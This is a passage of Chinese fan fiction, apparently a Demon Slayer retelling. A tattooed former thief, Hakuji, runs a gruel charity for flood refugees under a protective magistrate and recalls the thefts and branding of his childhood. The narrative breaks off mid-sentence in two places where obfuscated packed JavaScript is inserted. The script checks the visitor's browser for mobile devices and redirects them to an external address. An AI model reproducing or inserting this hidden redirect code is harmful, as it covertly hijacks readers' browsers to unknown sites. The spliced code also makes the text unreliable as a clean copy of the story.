他以前一般会特意挑个大又深的罐子,混在队伍里领一回,而后跑巷尾的泥巴地里往脸上衣上抹点灰,有时施粥的人忙过头没仔细看,或是睁一只眼闭一只眼,运气好还能再领一回。 柴火劈里啪啦炸得直响,空气里还有雨水湿漉漉的潮气。 锅很快就烧开了。 “狛治大人,这一锅分给多少人?”帮工拿着长勺,拿不定主意,平日里虽然也施过粥,但鲜少这么稠。 狛治接过了长勺,随手舀了一勺,目测了一下锅的深度,“400人。” 锅里咕噜噜冒着泡,粥都烧开了,狛治扯了扯小黑大人的衣袖,“可以开始了,老师。” “你不自己来?”小黑问他。 狛治轻轻摇了摇头,“不合适。” “近日暴雨连绵,庄稼歉收,近日町奉行所每天都会施粥,帮助大家共度难关。”小黑也不强求,只是让他负责一锅的施粥,而后对着众人朗声道,“大家安静排队,一人一碗,不必争抢。” 长龙似的人群开始往前挤,一个饿得面黄肌瘦的老人颤颤巍巍地伸出陶碗。 狛治伸手接过,衣袖上抬,手臂的刺青便随着动作暴露在空气里。 老人浑浊的眼神一凝,接过碗就走了,随意找了个墙角,狼吞虎咽地往嘴里灌。 大部分的人都是这般,他们饿极了,已经没空闹事,也不在意这粥到底谁分给的他们。 接过粥的人四散开来,后面排队的人又再次顶上,直到狛治打粥的手臂都有点酸痛,依旧没能听到一句谢谢,甚至连友善的对视都少得可怜。 一个瘦弱的小孩踮着脚把碗伸到他前面。 他伸手接过,青黑的刺青在阳光下发光。 可小孩却把碗往后缩了半尺,马上往后退了一步,扭头尖声喊道:“娘,那人身上……” 小孩立马被母亲捂住了嘴。 可下一秒,排在人群后的壮汉就大喊了一声,“我早就觉得不对!凭什么一个罪人也能给人施粥?” 狛治捏着勺柄的手出了青筋,额头跳了两下,眯眼往壮汉那看去。 人群躁动起来,四下开始低低议论, “罪人的手脚能干净么?后厨打杂便罢了,怎么能伸手到锅里来?” “要是他手里暗中作怪怎么办?往锅里撒脏东西谁晓得?” 而后骚动着推搡着往前挤,有人低声咒骂,有人扬起袖子指着: “官府这是怜我们,还是羞辱我们?” “宁可少一口,也不要罪人手里讨饭!” “凭什么罪人都能去官府帮工,我们却只能在这外面?” “你个死胖子在这鬼叫……”前些天受了狛治一个饭团的小姑娘一直注视着这边,人群方方躁动起来便直接撂下手里的活计,提拳就往胖子那里冲。 这些天,狛治为施粥日夜不休,做的努力她全都看在眼里。 一双布满茧子的手兀地摁住他的肩头,小姑娘停下,仰头发现是狛治。 “不要冲动。”狛治眯眼往人群中扫,正是发育的年纪,养在町奉行所里的时日一日三餐都吃得饱,少年的身形开始抽条,一身腱子肉配上一双在底层摸爬滚打过的眼神,惊得闹事者霎那噤声,连人群躁动的声音都小了。 “你来负责这一锅。”狛治把长勺递给小女孩,“按照我之前给你说的标准来。” 旁人不愿意收罪人施的粥,很好理解,太好理解了。 搁作平常,他提拳就上,可现在他只是沉默地立在一旁,任凭宽大的袖口垂落,遮住自己的手腕。 他答应了白城,会把这件事做好。 狛治的呼吸很平稳,只是站在高处监督着粥场发生的一切。 不要闹事,学会忍耐。 7. 共寝 跟各方面确认完第二天施粥的细节,狛治回屋子的时候已经凌晨了。 白城书房的灯还亮着。 鬼使神差地,回家的脚硬生生转了个方向,扭到书房门口。 窗纸透着屋内的暖光,白城伏在案边清瘦的剪影投在窗上。狛治半倚在门口的阴影里,樱白色的睫毛垂着,在眼帘打出一簇阴影。 屋内,厨房的二把手掌刀理菜的包丁役作为这次施粥的第二负责人,在跟白城汇报今日用米数量和花费明细。 “昨日施粥人数六千八百三十一人,设置锅数十五口,共耗费米量为2石7斗3升。中途偶有一小段插曲,但是被解决得很好。” “发生什么了?” 狛治听见白城这么问。 这包丁役的声音,狛治很熟悉。 有个当捕吏的哥哥,自诩高人一等,平日里狛治在厨房帮工,就是这人最爱带头排挤。 吃了鬼之盒饭的人一天都会倒霉的说法,也是从他嘴里传出的。 狛治不觉得这人口中能冒出什么好话来,他直起身子,离墙壁远了些,可半夜很静,屋里的声音还是不断往外飘。 “奉行大人,狛治手臂上的刺青太显眼了,哪怕流民都不愿意吃罪人经手过的饭,您要不跟他说说,别让他去施粥现场了,去砍柴打打下手什么的挺好的……” “施粥工作从头到尾都是他一手策划的,他做得有哪里不好吗?”白城温润的声音从屋内传来。 而一向见缝插针加油添醋说他坏话的包丁役居然罕见地沉默了。 “他做得很好吧。”白城了然勾起笑来,“你的手和我的手,有什么区别?” “当然有啊。大人金枝玉叶,您的手批阅公文,我们这些下人不过做些粗活,哪能跟您比?” “可我看来没什么区别。”白城淡淡一笑,目光如水,却不带褒贬,只是平静陈述,“我是奉行,所以批阅公文;你是包丁役,所以掌刀理菜。” “如果没有你,我便不能精神饱满地处理公文。如果没有我,你便不能心无旁骛地处理菜品。各居其位,各尽其职,不过都是为了让更多人能安稳度日。”白城顿了顿,声音更为沉稳:“人若能把分内之事做到极致,便已是荣耀,无需自轻。” “刺了青的手,和没刺青的手,也没什么区别。只要把分内的事情做好,便值得获得嘉奖。” “你们为了施粥,共事许久,难道对狛治,你就没有一点点改观吗?” 看着堂下的人神色触动,白城微微一笑,披着外袍将人送了出去。 听到门轴的吱呀声,狛治连忙往墙角躲。 包丁役看到他,不似平常那般目中无人,而是迟疑两秒,向他点头示意。 这些天狛治的努力,众人都看在眼里。 空气还有潮意,落在地上的影子晃了晃,狛治愣了两秒才点头回应。 包丁役远去了。 狛治有些怔然。 夜寒露重,白城站在门口只披了外袍,风一吹便不住地咳,“还躲着呢,进来吧。” 被发现了。 狛治从门后的阴影里出来,“我不是故意偷听的。” “光明正大地听也没事。”白城并不在意,“还没睡?” “有点吵,我就过来看看。”狛治眯着眼昂着头,刻薄的神情摆在他圆润的小脸上显得有些臭屁。 “睡不着?”白城轻轻点了点他的鼻尖。 “才没有!”心思被挑明,狛治反而像炸了毛的猫,而后又闷闷闭上嘴。 白城看了眼夜色,“睡不着不如来跟我一块睡吧。” “这个年纪的小孩,好像确实还要大人陪。” “哈?”狛治瞳孔地震,不住又食指指着自己,“我?” 眼底明明百般抗拒,但当檀香被清风拂到鼻尖,奉行大人微微弯腰,如玉一样的手拉起他的指尖,温凉的热度透过掌心跟他相贴的时候……头顶的月色像水一样。 我刚刚到底中了什么蛊! 站在奉行的床边,狛治微张着嘴,整个人有些呆滞。 我怎么就跟着他进了寝所? “我睡哪?”事已至此,狛治回头问他。 “这张床。”白城脱下外袍,打开柜门,从底下挑了床薄被。 “你呢?”狛治再问。 “也是这张床啊?”白城有些不解,抱着新被子往床边走。 里衣布料勾出他削瘦的肩胛,整个人单薄得跟纸一样,狛治皱眉,快走几步,上来接过被子。 但走到床边立住,抱着被子的手怎么都不肯放,“我打地铺一样的。” “怎么?”白城轻轻勾了勾少年的耳垂,“害羞啊?” “才没有!”少年猛地跳开,浑身像通电了一样,一连串打了四五个激灵,眼睛红红的,像受惊的兔子一样。 “嗯嗯。”白城钻到里面的被窝里,拍了拍身边的空位,“睡觉吧,天晚了,明天还要早起。” 远处的池塘有蛙声在叫,屋里安静,只偶尔能听到烛芯啪得炸开的轻响。 默了良久,白城半眯半就间,感觉身边落下了一床被子。 少年半跪在床沿把被脚折好,才轻手轻脚地吹灭了床头的蜡烛。 烛芯顶端冒出一缕白烟,一股沾着焦糊味的涩气很快在屋子里弥漫开来。 狛治就着暗色,飞快脱下足袋,光着脚钻进布团。 月光清冷,从窗户里透进来,斜落在桌案上,往前再延伸,静静铺洒在布团之上。 狛治在黑暗里睁着眼睛,身体绷得死紧。 手脚冰凉,像是一块木头。 耳边是轻浅的呼吸,眼前是木头的床梁,他控制着自己的呼吸节奏,却怎么都放松不下来。 平躺在床上,甚至不敢偏头看。 他已经很久没跟人一块睡觉了。 五岁?还是六岁? 印象里自从他开始工作,就再没跟老爸睡过一张床。 平日里他的工作一般天没亮就开始,而老爸睡眠本就又浅又少,醒了之后往往要强忍着病痛睁眼到天明。 狛治发现这件事后,说什么也不肯再睡一块。 过了两三天,不知从哪搞了一床旧布团,自此缩在墙角打地铺,之后哪怕冬天再冷,他都没跟老爸挤过一个被窝。 狛治从被窝里掏出自己的手臂,伸在空中,就着月色看着上面三环的刺青。 这刺在偷窃累犯者的额头或手臂的墨刑,是羞辱与身份标记。 放走那个小女孩第一秒,其实狛治就后悔了。 旁人要死要活,跟他都没有半点关系。 白城愿意把事情交付给他,就是信任,他本该漂漂亮亮地把这件事做好。 可小女孩那双眼睛,那双祈求的含着泪花的,弱小的眼睛,让他在某一个瞬间有些恍惚,好像看到了当年的自己。 那时老爸卧病在床,旁的工作根本买不起药,买得起药的工作根本没空照顾老爸。 狛治拖着搬了一天重物的身体,拿着工钱,走在巷子里的时候,跟一个削瘦的男人擦肩而过。 等回家的时候,才发现工钱不见了。 为什么? 狛治不理解。 明明那个人有手有脚,明明那个人已经成年。 为什么他要来偷我的钱?为什么要来偷给老爸治病的钱? 他第二次撞见那个男人,是在妓院里。 那个男人,居然搂着美娇娘,喝着花酒,龇着黄牙,仰头大笑,好不快活。 狛治溜进去,走到男人桌边,抓住男人手腕。 “你干什么?你小子!”男人问他。 “还钱。”狛治一字一顿,“那天在小巷,你偷了我9文钱。” “谁偷你钱了!”男人一巴掌就扇在狛治脸上,速度之快力道之大,把人扇了个踉跄。 “就是。”美娇娘捂嘴笑,“大人这一瓶酒就是半两银子,要来偷你的钱?” 妓院的妈妈桑叫来护卫把狛治拳打脚踢教训了一顿,丢到了后门的臭水沟旁。 我认错了吗? 衣裳都湿了,发黑的水里青黑色异物黏黏乎乎搭在自己腿上,好像还有东西在动,鼻尖萦绕着腥臭的恶味,狛治意识都有些恍惚。 他记得偷钱的人额角就是有一颗好大的黑痣。 他没认错。 为什么要回自己的钱,也会挨打呢? 他第一次偷窃是在八岁,老爸病重,急需去看医生。 初出茅庐手法生涩,但是一切顺利。 他骗老爸,豆腐店的老板提前预支了工钱,让我们去看大夫。 那天他额外给了大夫几文钱,那是大夫第一次和声细语地跟他说话,给他开药,嘱咐他用药的剂量,吃药的注意事项。 药吃得很快,见底的那天,狛治上街,在勾到钱包的一瞬被抓了个现行,当天就被人扭送押至町奉行所。 鞭刑落在腰间很痛,倒刺勾得皮肉都绽开了。 等到傍晚装作没事人回家,老爸问他怎么了。 狛治回答说:“没事。” “他们说你偷窃被抓了。”老爸坐在被褥里死死地盯着他,“我跟他们说不会的,狛治是个好孩子。” 狛治捏紧了拳头又松开,“可是他们有人偷一次就能赚十两银子,我不眠不休干……” “啪!” 一巴掌扇得头都侧了过去,脸颊火辣辣的痛。 狛治看到老爸胸膛急促地上下起伏,身体气愤地发抖。 这是老爸第一次打他。 狛治这辈子都记得老爸当时的眼神——愤怒的,不可置信的,愧疚的,混着滔天能压死人的痛意。 “我教过你!要做个堂堂正正的男子汉!”老爸指着他的鼻子骂,声音和指尖都在发颤。 狛治不说话,扭头在地上铺好自己的被子。 “狛是守护,治是安定,我和妈妈把你养大,不是让你去偷别人的东西!”那天老爸硬生生从被褥里翻出来,揪住了狛治的衣领。 脸颊消瘦,眼底青黑,可黑眸像燃起了火,烧得透亮。 狛治怔怔看他,良久道:“我知道了,老爸。” “不会再偷了。” 那天老爸半夜,偷偷从被窝里出来,掀开布团看着他身后的伤口,默坐了一宿。 狛治其实没睡着,数着门缝透进来的月光,不敢回头。 日子好像又回到了之前,勤勤恳恳地干活,喘着粗气,背几倍于自己体重的货物,流着汗,赚比起药物杯水车薪的钱。 虽然劳累,但也维持着些许平衡。 直到老爸的病情又加重了。 山上采的草药没用了,之前买的小包药粉没用了,狛治把压箱底的钱拿出来,背着老爸走了十里地到了医馆。 之前的大夫满脸不耐,说了一大串他听不懂的话,等他重新背着老爸走出医馆的时候,只知道老爸要吃新药。 3两9文一包的丸药,十天一包。 老爸说不治了。 狛治面无表情地把他在被窝里安顿好。 哪怕心稳眼尖手快,技艺逐渐精湛,可常在河边走,哪有不湿鞋。 第二次被押进町奉行所的那天是狛治的生日,他其实不太慌张,甚至还有闲心思考怎么才能让背上的伤不被老爸发现。 直到奉行宣判墨刑。 被捕吏强摁住四肢,用刀划出一整圈伤口的时候,他像鱼一样痛得在地上弹动,四个捕吏摁不住他,又叫来两个捕吏,才硬生生把他摁死在地上。 刀直直割出环状的伤口,汗浸湿衣物精疲力竭,套在脖子上的绳子勒得呼吸不畅,整个人虚脱得像从水里刚捞出来使不上半点力气,然后他眼睁睁地看着捕吏把会跟随自己一辈子的墨揉进小臂的伤口里。 心脏像被一只无形的手给死死攥住了,狛治当时甚至发不出一点声音。 被捕吏推出町奉行所的时候,狛治一个踉跄。 他的手臂不住在抖,他抬起来看着上面的墨——漆黑的,环状的,混着血腥味的。 横膈膜在发颤,整个人恶心地想吐,他往家走,低声告诉自己,“这是应该的。” “我没错。” 当晚又是一场大战,狛治垂着头任打任骂。 直到老爸近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543975|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎声嘶力竭地问他,“你让我怎么对得起你妈妈!让我怎么敢去见她!” 狛治坐在地上,缓缓抬头,一双血红的眼像是地狱杀出来的修罗,“老爸,你怎么让我眼睁睁地看着你去死?” 眼泪欻得下来了。 老爸看着他,没能再出口一句重话。 狛治起身推开房门,在屋外的灶台边坐了一宿。 直到天边的鱼肚白升起,瑰丽的朝阳破开七彩霞云,洒上树顶翠绿的树叶,拂过青葱的草地,照上七彩剔透的露水,照上手臂上黑得吓人的墨渍。 他用手搓了搓,又搓了搓,搓得血又噗滋噗滋冒出来了,还是搓不掉。 他起身去平日里帮工的豆腐店。 拉着门口的环扣,叩上木门。 脚步声由远及近,平日里嘴硬心软的老板嘴上念着,“来啦来啦,今天怎么来得这么晚,不过早上煮的粥还有剩……” 狛治仰望着即将打开的门,有些惶惶的期许。 可老板的眼神在触及刺青的瞬间由热转凉,而后近乎羞辱地推搡着他的胸膛把他赶了出去。 “滚滚滚,我们这不要小偷。” 门嘭得关上,差点砸到他的鼻梁。 他站在门口,垂头看着自己的手臂。 告诉自己—— 应该的。 在街上游荡的时候,行人好像都离绕着自己走。 鄙夷的眼光指指点点的议论如芒在背。 他好想哭着问爸爸——“我是不是再也做不了堂堂正正的大人了?” 可最后他只是缄默着,长久地缄默下去,装作不经意般撞上了一个富态的行人,指尖灵活地勾出一个皮夹来,而后猛地把人一推,往熟悉的巷子里钻。 爸爸还躺在床上。 一个家里,不能有两个弱者。 所以——要坚强,不要哭。 “疼不疼?”骨节分明的手轻轻点在他的刺青上。 狛治一惊,扭头看白城不知何时侧过身来正看着他。 他猛地一挣,飞速把手重新藏回被子里。 “什么时候刺的?”白城问他。 “不记得了。”狛治整个人往被子里埋了埋。 “正保元年十月初五。”白城说,“我记得。” 狛治不说话了,那天是他的生日,又怎么会不记得。 一道道,一圈圈,痛成那样,怎么能不记得? “今天发生什么了?跟我说说。”白城撑起身子往他那边挪了挪。 “没发生什么。”声音从被窝里传来,闷闷的。 “有人因为你的刺青闹事吗?”白城挑明。 “……”狛治不语,只是往被窝底下再缩了缩。 “你怎么处理的,端木夸你处理得不错。” “没什么,让别人替我分粥,我在远处监工。”狛治嘟囔,音调四平八稳,但白城却硬生生听出些许委屈来。 “也正常吧,正常人都不喜欢罪人给他们分粥。他们还在饿肚子,但我一个罪人却能给奉行大人做事,他们愤愤不平也很正常。”狛治小声,理着逻辑,像是在安慰自己,“他们不喜欢我施粥,我就不施。没什么关系。” 白城从被窝里摸索到了少年的手臂,一点点扣住少年的指缝,而后十指相扣地把他的手举到眼前。 “你喜欢施粥吗?” 我喜欢施粥吗? 白城已经放开了他。 狛治看向自己的双手,伸直,张开,弯曲,他是有力的。 他想起接下饭团时小姑娘高高扬起道别的手,想起一碗碗滚烫的,从自己手里递出去的粥,想起几个月前那个在街上流浪,食不果腹,被饥饿烧灼到胃都生疼的自己。 其实无所谓。 狛治悄悄抬眼看白城。 但是白城好像会因此而感到开心。 “喜欢的。”狛治说。 “那么就放手去做吧。”白城长臂一揽,把人圈进怀里,一下下地拍着少年的背,“至今为止,你做得都很好。” 他夸我,夸我做得很好。 被人搂在怀里,从后背到胸口,兀地被人体的温度炙烤着,像是冬天暖洋洋地泡在太阳下。 久违的,陌生的,像是回归母体那般…… 成年人的胸膛构筑出一片昏暗的角落,狛治的头埋在里面,能听到自己粗重的呼吸。 他强压着身体的颤抖,太阳穴痒痒的,豆大的水珠滑过砸在枕头上,就努力睁大眼睛,在黑暗里长久地睁着眼,仿佛这样就能不再流泪。 直到背上轻拍的力道愈来愈小,白城整个人睡得都迷迷糊糊的。 狛治突然冷不丁地呢喃出自己当年想问爸爸的话,“我还能做堂堂正正的大人吗?” 他等了很久,等到自己都快睡着的时候,听到一句—— “没有人会故意偷窃,他们一定是有需要了。” 狛治听见白城的呓语,脚底到天灵盖啪得一下像被什么刺穿了。 过了一会,他也渐渐放软了身子,头埋在白城的胸口,又往他怀里钻了钻。 当晚他好像梦到了老爸,又好像没有,但他难得睡了个好觉,醒来的时候神清气爽,连奉行大人什么时候下床了都没发现。 “醒了?”白城半卧在榻榻米上,手里握了一卷书。 “嗯。”狛治想起昨晚,又觉得被人抱着睡觉什么的,有点太丢人了。 “醒来就洗漱穿衣服。”白城望向他,“今天施粥我跟你一起去。” “你别去了,我自己可以的。”狛治慢吞吞地套衣服。 他小时候跟野孩子打群架,挨埋伏了也不会跟老爸说,自己把伤口扎好了才回去,问起就说自己摔得。 打赢了,偶尔有些讨厌的家长会找上门来,老爸每每都要鞠躬跟他们道歉。 他不想白城去到那种尴尬的场面,不想白城因为自己而承担羞辱或是怒火。 “早上要吃水煮蛋还是煎蛋?”白城没理他。 “我真的可以,你别去了。”狛治走到白城身边,扯了扯他的袖子。 “吃哪个?” “水煮蛋。” 8. 丸子 “我在幕后督工也挺好的。”狛治迟疑地看着眼前的长柄勺,怎么都不愿意接过。 白城只是静静地把勺子放在他面前,“什么时候这么瞻前顾后了?” 狛治低声嘟囔,“我分不分粥,他们都能填饱肚子。” “目的已经达到了,我去了反而麻烦。” 白城捏了捏他圆润的小脸蛋,哈特软软的,“明明你是施粥的大功臣,哪有不露面的道理。” “他们会闹。”确认白城一定要自己去,僵持一会,狛治说:“那你回去,我来解决。” “你怎么解决?”白城问他,“跟他们打一架,还是再换人来替你?” “总之我会解决的。”狛治皱着眉,把白城往外推。 “狛治……”白城有些无奈地叫他名字,“你是不是忘了,你才十一岁。” 狛治疑惑。 “你还是个孩子,孩子就要有孩子的样子。”白城转过身来,“吃不饱就要哭,玩不好就要闹,遇到解决不了的事情,要学会跟大人说。” 狛治眼底明显不认可,老爸生病后,他没少求人。 有用吗? 要是有用的话,老爸也不会死。 “我在,就有用。”白城银灰色的眸子看他,“任何时候,你都可以向我寻求帮助。” 狛治怔了一会,而后睫毛颤了颤,“这很麻烦。” “你把饭团给小姑娘的时候有觉得麻烦吗?” 其实有点。 “又为什么想要施粥呢?” 因为你会开心。 心里千回百转,嘴边却抿得死紧。 “我跟狛治也是一样的。” “我做的一切,都是因为我爱狛治,希望他可以健健康康地长大,长成一个积极阳光的大人。所以任何时候,我都不会觉得麻烦。” “你可以随时,随地,遇到任何拿不准的事情,都来找我商议。” “而我永远会跟你站在一起,解决困难。” 他说永远,他捏了我的脸蛋,他的眼睛像水一样温柔,比爸爸还要温柔。 他站在我身后,用单薄的身体,撑住了我所有摇摇欲坠的担忧。 “对你来说麻烦的事情,对大人来说,可不一定噢。” 狛治感受到白城拍了拍自己的肩膀,听到他说,“放心大胆地去帮助别人吧。我一直在。” 狛治握住了长勺。 今天来领粥的人明显比昨日多,好在狛治昨天就预料到了这种情况,准备的米粮比昨日要稍微多些,现场也拜托小黑老师安排了维持秩序的捕吏。 “怎么还是这个罪人打粥?” “昨个不是说过了吗?” “什么背景啊,罪人都能在町奉行所谋个活计了。” “怎么又是你?”昨天闹事的壮汉,挺着胸膛越过队伍走到狛治面前,“你也配给我盛粥?” “不要插队。”狛治握着勺柄的手青筋毕露,知道白城在看着自己,“请回到自己的队伍里去。” “换个人来施粥,我就回去。”壮汉轻蔑地扫了他两眼,“没看到大伙都在骂你吗?我要是你,早就躲在后头不出来了。” “真不知道得了哪位大人青睐,能给町奉行所办事。” “得了好处,就不要张扬。” “一而再,再而三地出现在大众面前,挑衅大众的底线,你猜你的那位大人会不会生气?” 狛治额角的青筋蹦跶两下。 壮汉眯眼,轻轻贴到他耳边,低声道:“你要是给我留一碗最稠的粥,我今天就放过你,怎么样?” 狛治缓缓抬头,眼睛直勾勾地盯着他,只想把手上的勺子狠狠砸在他的天灵盖上,“你威胁我?” “这是交易。”壮汉恬不知耻地笑,“奉行大人正看着这边呢。” 狛治深呼吸,再深呼吸。 “你们在干什么?”白城适时走来。 “我在跟这个小哥商量点事。”壮汉扬起一个讨好地笑来,“大人,不劳您特意过来。” “是这样吗?”白城问狛治。 “他威胁我要给他留一碗最稠的米粥。”狛治面无表情,高声戳穿了他。 “你小子!”壮汉恶狠狠瞪了狛治一眼,而后连忙跪地,高呼冤枉,“大人,罪人口中的话,不可信啊!” “我只是质疑为什么罪人能够施粥,他就反咬我一口,其心可诛,狼心狗肺!大人,您一定要明察秋毫啊!” “就是,大人,罪人的话怎么能信呢?”密密麻麻的人群再次像昨日那般骚动起来。 狛治气得连脖子都梗红了,但人言像潮水一样,四面八方地笼罩而来,他左看右看,看不到谁在说话,所有人的嘴唇都在动,所有人都在指责他。 你们的大脑里装的都是什么浆糊吗? 狛治想骂,却又不住向后退了两步。 “是非善恶,我自有判断。”白城抵住了他。 “徇私枉法者,贪污舞弊者,中饱私囊者,还有闹事者一律——”白城清声开口,声音冷厉如刀,“先记名,后问罪!” 明明声音不大,但前面闹事最凶的人像被掐了嗓子一样静默下来,挤在前面的人群一瞬噤声,非比寻常的肃穆在人群中传导,远处细细簌簌的议论也莫名消退,推搡的手慢慢收回去,整座町奉行所前鸦雀无声。 白城看着眼前闹事的壮汉,“你对奉行所有意见?” “小人不敢。” “你对施粥不满意?” “小人没有。” “那你闹什么?” “大人冤枉啊!小人只是觉得罪人施粥,败坏町奉行所的名声啊。” “他歧视你,不给你施粥?” “这倒没有。” “他施粥缺斤少两,全是米浆?” “……” 事实上,施粥的人里狛治手最稳,粥最多,速度最快,以至于今天排在他这锅的队伍最长,人最多。 人不是瞎子。 “既然他都做得很好,你又在闹什么呢?”白城反问他。 “可他是罪人,我没偷过没抢过,我歧视罪人不是理所应当吗?” “但町奉行所门前临时粥场,是你口中的罪人一手负责的。” “煮米用的锅是他搬的。” “每锅下的米量是他定的。” “煮粥的柴火是他自林间砍的。” “领粥的消息是他扩散出去的。” “现场的秩序是他组织维持的。” “就连现在你的粥都是他亲手给你舀的。” “你呢?寻衅滋事,妄图谋私。” “扰乱现场秩序,阻碍他人领粥。” “就在这,杖责三十。”白城抬了抬手,两名捕吏直接把人拖到大空地开始抽打。 棍子配着死猪般的哀嚎响彻在整个町奉行所门口。 “谁还闹事?” 鸦雀无声。 锅里的粥咕噜噜地冒着泡。 “雨后洪灾,此乃天灾。可众志成城,必能共度难关。此刻人心不可扰,军心不可乱。”白城缓缓环顾一圈,眼神凌厉,语调却转缓,“町奉行所近期会组织人手帮助大家灾后重建,愿意出力者,包一日三餐。” “不论前科?”流民里有一个人颤颤举手,上臂接近手肘处有同样的刺青,约摸是从武州流浪而来。 “不论前科。”白城掷地有声,“洗心革面者,我给你们改过自新的机会,工作会比旁人多些,但只要勤劳肯干,一日三餐照样全包。” 狛治仰头看着挡在自己身前的白城。 面前的身影清瘦,却是有人第一次挡在他身前。 施粥继续,排成长龙般的队伍开始流动,经过这一遭事,狛治动作依旧利落,分得最快,舀得最稳,米汤均匀,每位流民的碗里不光是浆,也都落下几粒米花。 他挨过饿,所以尽可能地多盛些。 “谢谢你,哥哥。” 狛治有些惊讶地抬头,米浆稳稳落入碗中。 “昨天……对不起。”是昨天躲在母亲身后尖叫的小孩,他有些羞郝地接过碗,“辛苦你了。” “没关系。”狛治垂眸,接住下一个人递来的碗。 “谢谢,辛苦了。” “没事。” “谢谢。” “没事。” “谢谢。” “没事。” 像是一个开关一样,之后狛治给每一个人舀粥,都会收获一句谢谢。 提着锅柄,倾斜锅身,舀完最后一碗粥的时候,狛治抬头,流民们或坐或站,或形单影只,或家人在侧,但所有人都捧着一碗热气腾腾地粥,小口喝着,脸上扬着满足的笑。 “谢谢。”排在队尾的最后一个人接过碗。 “不用谢。” “开心吗?”白城不知什么时候走到他身边。 “谢谢。”狛治仰头看他。 “怎么谢我?”白城冷淡的嘴角勾起笑来。 “我会更加努力的。”狛治握拳。 “不对。”白城摇头。 “那要怎样?”狛治有些不知所措。 白城蹲下身来,点了点自己的脸颊,“往这,亲我一口。” 小孩的圆鼓鼓的脸蛋欻地就红了,整个人像是冒烟的苹果。 还是有些过分么? 白城有些惋惜,撑着膝盖,准备起身。 谁料一瞬,狛治踮着脚,轻轻地往白城脸颊啄了一口,像风一样,轻轻擦过。 狛治小脸通红,眼睛四处乱转,不敢看白城,手指勾了勾白城的衣袖,“谢谢您。” 默了一会,他仰头,一双蓝眼睛像天空那样镀上阳光的亮色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543976|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的非常感谢。” 谢谢你为我出头。 谢谢你给我机会。 谢谢你选择爱我。 壮汉已经受完刑罚,一瘸一拐地走到锅边,“我也要一碗,我排了队的。” 狛治扫了眼锅底,还有一碗的量,正准备给他盛。 米汤进碗,已经有些凉了,方要递出去,白城把他拦下了。 “我的孩子刚被你辱骂了去,怎么能这么快消气呢?”白城一双杏眼不见笑意,温声道,“给他道歉。” 壮汉咬牙默了半晌,而后抬头,一字一顿,不情不愿,“对不起。” “你原谅他了吗?”白城半蹲下身来问狛治。 狛治皱眉,“我不在意……” “他不接受。”白城看着壮汉,“重新来。” “对不起。”这遍的口吻明显弱得多。 狛治抿唇站着,端在碗底的手指不住蜷了蜷。 “满意吗?”白城再问他。 狛治有些僵硬地点点头。 白城从他手里接过碗,递给壮汉,温声细语,“如果来帮助大家灾后重建的话,可以去找小黑大人领药。” 壮汉接了,“谢谢奉行大人。” 粥已经分完,排在町奉行所门前的流民也散了,帮工们把大锅搬去清洗,狛治去仓库清点物资。 走出仓库的时候,接近晌午。 白城半靠在门边把玩着手里的扇子。 “奉行大人?”狛治讶异地问,“您怎么在这里?” “给你送东西。”白城笑着扬了扬手里的荷包。 “什么东西?”狛治不解。 白城拉开狛治的左手。 狛治乖乖摊平掌心。 白城单手拉开钱袋,从里面掏出半两银子,放在狛治手里。 “这是什么?”狛治疑惑。 “是你这一个月在町奉行所里帮忙的酬劳。”白城摸了摸他的脑袋,“是你这个月的俸禄。” “府上的杂役一年是十石,同心三十石,与力两百石。” 小小的银子不重,冰冰凉凉地贴在掌心,指尖还留有白城的体温。 狛治缓缓收紧五指,牢牢抓住银子,感受着掌心坚硬的触感。 这是他时隔多年,再次获得的薪水。 不如偷窃来得多,但是握在手里,很安心。 “右手给我。”白城又去拉他的右手,又给他塞了半两银子。 “这又是什么?”狛治问他。 “这是我给你的零花钱。”白城捏了捏他的鼻头,“可以去买任何你想买的东西。” 他珍重地把零花钱收到自己的钱包里,“大人,您现在有空吗?” “有。” 狛治拉着他出了町奉行所,七拐八弯走到一个铺子边。 铺子不大,门口堆放着受潮的木板,老远就看到一群孩子围在旁边,铁板上冒着蒸蒸热气,老板翻烤着糯米搓成的小丸子,时不时在表面刷上一层糖浆。 暴雨停了,商铺也逐步开始恢复营业了。 “老板,来两串丸子。” “好嘞,要哪种?” “七彩的。” 老板笑眯眯地弯腰递给他,“好吃再来啊!” 狛治点头,把丸子都递给白城,而后把俸禄那一份的半两银子交给老板。 老板给他找零,他又把零钱塞回荷包里。 等他两手都闲下来,白城才把丸子递给他。 狛治分出一串,有些羞郝,眼睛往右下飘,“我请你。” “我以前……经常路过这家店。” “看很多人买,应该味道不错,就想带你尝尝。” 白城接过咬了一口,丸子表皮微微焦香,内里黏牙,裹着糖浆的甜味。 “好吃吗?”狛治有些忐忑地看他。 “好吃。”白城又吃了一口。 狛治开心地笑了,自己也咬了一口,小脸扭曲成一团。 “怎么了?” “有点黏牙。”狛治用手去扒拉。 这是他第一次吃。 每次回家,他都会在摊前看着。 摸着怀里的银两,吞咽着分泌的口水。 看了这么多回,第一次买了一份。 其实并没有想象中那么好吃。 但他偷看白城。 白城笑得很开心,前仰后合,白色长发滑落肩头,阳光从屋檐缝里洒下,映在发丝上,仿佛镀了一层金。 看着白城咬下一口团子,狛治忍不住也咬了一口,黏糯的团子拉出一丝丝糖丝。 他皱起小脸,手忙脚乱地扒拉。 